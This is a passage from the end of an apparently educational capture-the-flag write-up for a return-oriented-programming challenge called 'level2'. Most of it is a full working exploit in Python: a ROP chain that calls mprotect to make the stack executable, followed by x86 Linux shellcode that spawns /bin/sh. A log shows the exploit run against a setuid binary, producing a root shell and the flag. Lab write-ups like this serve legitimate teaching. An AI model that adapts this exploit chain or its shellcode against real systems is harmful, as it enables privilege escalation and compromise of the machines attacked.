And we succesfully hit the shellcode and we can execute from stack. The only thing remaining is to replace the shellcode with real shellcode and gain code execution.
Final Exploit PoC
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
gdb-peda$
Full exploit code to give root shell.
import struct
def p(a):
return struct.pack('<I', a)
pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
pop_ebx_ret = 0x0805249e
dec_ebx_ret = 0x0804f871
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0
fake_ret = 0xcafebabe
add_eax_5d5bc031_ret = 0x0806754a
stack_addr = 0xbffdf001 # changed from 0xbffdf000 to avoid null byte
#shellcode = "\xcc" * 256
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
payload = "A"*44
# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7
# Step 1
# setup ecx = 0x21000
# 0x0805ea2c: add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
# 0x800107ff + 0x80010801 = 0x100021000
payload += p(pop_ecx_ebx_ret)
payload += p(0x800107ff) # ecx = 0x800107ff
payload += p(0x41414141) # junk ebx
payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0x80010801) # eax = 0x80010801;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk edi
# add ecx, eax
payload += p(0x0805ea2c) # add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk ebp
# Step 2
# setup eax = 0x7d
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c
payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c) # eax = 0xa2a4404c;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk edi
payload += p(add_eax_5d5bc031_ret)
# Step 3
# setup ebx = 0xbffdf000
payload += p(pop_ebx_ret)
payload += p(stack_addr) # ebx = stack addr
# $ ropper --file ./level2 --search "dec ebx"
# 0x0804f871: dec ebx; ret;
payload += p(dec_ebx_ret) # ebx => 0xbffdf001 - 1 = 0xbffdf000 ; stack address
# Step 4
# setup edx = 0x7
payload += p(pop_edx_ret)
payload += p(0xffffffff) # edx = 0x7; RWX
# 0x0804b120: inc edx; cld; pop ebp; ret;
inc_edx_cld_pop_ebp_ret = 0x0804b134
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 0
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 1
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 2
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 3
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 4
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 5
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 6
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 7
payload += p(0x41414141)
#payload += p(fake_ret)
payload += p(int_80_ret) # call mprotect
payload += p(push_esp_ret) # return to stack
payload += shellcode
print (payload)
Running the final exploit against the challenge.
level0@rop:/home/level2$ ./level2 $(python /tmp/poc.py)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAA�AAAAAAAAAAAA,AAAAAAAAAAAAL@��AAAAAAAAAAAAJ����qv����4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA4AAAA��1�Ph//shh/bin��1ɉ�j
X!
# id
uid=1000(level0) gid=1000(level0) euid=0(root) groups=0(root),1000(level0)
# whoami
root
# ls -l
total 588
-rw-r----- 1 root root 27 Jan 20 2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20 2015 level2
# cat flag
flag{to_rop_or_not_to_rop}
# pwd
/home/level2
#